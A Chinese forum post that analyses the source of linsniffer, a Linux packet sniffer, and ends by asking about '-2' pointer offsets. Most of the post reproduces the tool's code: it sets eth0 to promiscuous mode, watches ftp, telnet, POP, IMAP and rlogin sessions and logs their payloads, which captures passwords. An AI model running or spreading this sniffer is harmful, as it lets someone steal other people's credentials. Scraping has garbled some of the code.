- 论坛徽章:
- 0
|
以下是对linsniffer源代码的一些分析:
两主要数据结构:
struct etherpacket{
struct ethhdr eth;/*以太网报头*/
struct iphdr ip;/*ip报头*/
struct tcphdr tcp;/*tcp报头*/
char buff[8192];/*数据区*/
}ep;
struct{
unsigned long saddr;/*源地址*/
unsigned long daddr;/*目标地址*/
unsigned short sport;/*源端口*/
unsigned short dport;/*目标端口*/
int bytes_read;
char active;
time_t start_time;
} victim;
其中,etherpacket数据结构用来描述一个完整的以太网TCP包,victim用来保存从TCP包中提取的包信息。
主函数:
1 main(int argc, char **argv)
2{
3 s=openintf("eth0" ;/*建立socket,设置“eth0”为混杂模式,返回socket的文件描述符*/
4 ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
5 tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
6 signal(SIGHUP, SIG_IGN);/*忽略连接中断信号*/
7 signal(SIGINT, cleanup);/*ctrl-c*/
8 signal(SIGTERM, cleanup);/*kill(1)*/
9 signal(SIGKILL, cleanup);
10 signal(SIGQUIT, cleanup);/ctrl-\*/
11 if(argc == 2) fp=stdout;
12 else fp=fopen(TCPLOG, "at" ;/*以追加方式打开*/
13 if(fp == NULL) { fprintf(stderr, "cant open log\n" ;exit(0);}
14 clear_victim();/*初始化victim结构*/
15 for(;
16 {
17 read_tcp(s);/*接收并分析数据包*/
18 if(victim.active != 0)
19 print_data(htons(ip->;tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
20 fflush(fp);
21 }
22}
函数openintf(“eth0”)用来初始化网卡和套接字接口:
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket" ;
exit(0);
}
strcpy(ifr.ifr_name, d);/*d="eth0"*/
s=ioctl(fd, SIOCGIFFLAGS, &ifr);/*获得网卡工作模式*/
if(s < 0)
{
close(fd);
perror("cant get flags" ;
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;/*设置标志位*/
s=ioctl(fd, SIOCSIFFLAGS, &ifr);/*设为混杂模式*/
if(s < 0) perror("cant set promiscuous mode" ;
return fd;
}
我们看到socket( )函数的第二,三参数分别是SOCK_POCKET和0x800,SOCK_POCKET指定接收数据包的所有信息(包括报头);0x800(ETH_P_IP)表示包类型为ip包(internet protocal packet)。
回到主函数,4-5行设置ip和tcp报头指针,6-10行处理各种信号。第14行设置victim数据结构各项都为0:
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
15-22行进入无限循环处理截获的数据包,其中最主要的就是read_tcp( ):
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));/*从socket读数据包*/
if(x >; 1)
{
if(filter()==0) continue;/*分析数据包*/
x=x-54;
if(x < 1) continue;
return x;
}
}
}
很显然,read_tcp()接收到数据包后,又把具体工作交给了filter( ):
int filter(void)
{
int p;
p=0;
if(ip->;roptocol != 6) return 0;/*如果不是tcp数据包*/
if(victim.active != 0)
if(victim.bytes_read >; CAPTLEN)
{
fprintf(fp, "\n----- [CAPLEN Exceeded]\n" ;
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) >; (victim.start_time + TIMEOUT))
{
fprintf(fp, "\n----- [Timed Out]\n" ;
clear_victim();
return 0;
}
if(ntohs(tcp->;dest)==21) p=1; /* ftp */
if(ntohs(tcp->;dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/
if(ntohs(tcp->;dest)==23) p=1; /* telnet */
if(ntohs(tcp->;dest)==110) p=1; /* pop3 */
if(ntohs(tcp->;dest)==109) p=1; /* pop2 */
if(ntohs(tcp->;dest)==143) p=1; /*imap2*/
if(ntohs(tcp->;dest)==513) p=1; /* rlogin */
if(ntohs(tcp->;dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->;syn == 1)/*SYN包*/
{
victim.saddr=ip->;saddr;/*地址*/
victim.daddr=ip->;daddr;
victim.active=1;
victim.sport=tcp->;source;/*端口*/
victim.dport=tcp->;dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();/*向tcp.log中写入连接双放的地址和端口*/
}
if(tcp->;dest != victim.dport) return 0;
if(tcp->;source != victim.sport) return 0;
if(ip->;saddr != victim.saddr) return 0;
if(ip->;daddr != victim.daddr) return 0;
if(tcp->;rst == 1) /*如果是要求重置连接的包*/
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [RST]\n" ;
clear_victim();
return 0;
}
if(tcp->;fin == 1) /*如果是发送关闭连接的包*/
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [FIN]\n");
clear_victim();
return 0;
}
return 1;
}
最后由filter()分析数据包报头,设置victim结构中各项的值,并把结果存入tcp.log。它主要检查:
1. 是否是tcp包;
2. 是否是ftp,telnet.ssh.pop3等协议的包;
3. 是否是请求建立连接的SYN包;
注意到在设置好victim各项之后,有个函数print_header( ),它用来向tcp.log中写入建立连接双方的地址和端口。Filter()执行完毕,找到合适的包后返回到read_tcp( ), read_tcp( )又返回到主函数,主函数执行print_data( ),把除去报头的数据写入tcp.log。至此,就完成了一次完整的的嗅探工作。
以下是小弟的问题,在主函数中:
main(int argc, char **argv)
{
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0) print_data(htons(ip->;tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
if(victim.active != 0) print_data(htons(ip->;tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
这3行中各有一个“-2“,小弟一直不理解它的作用,请大家帮我解释一下。 |
|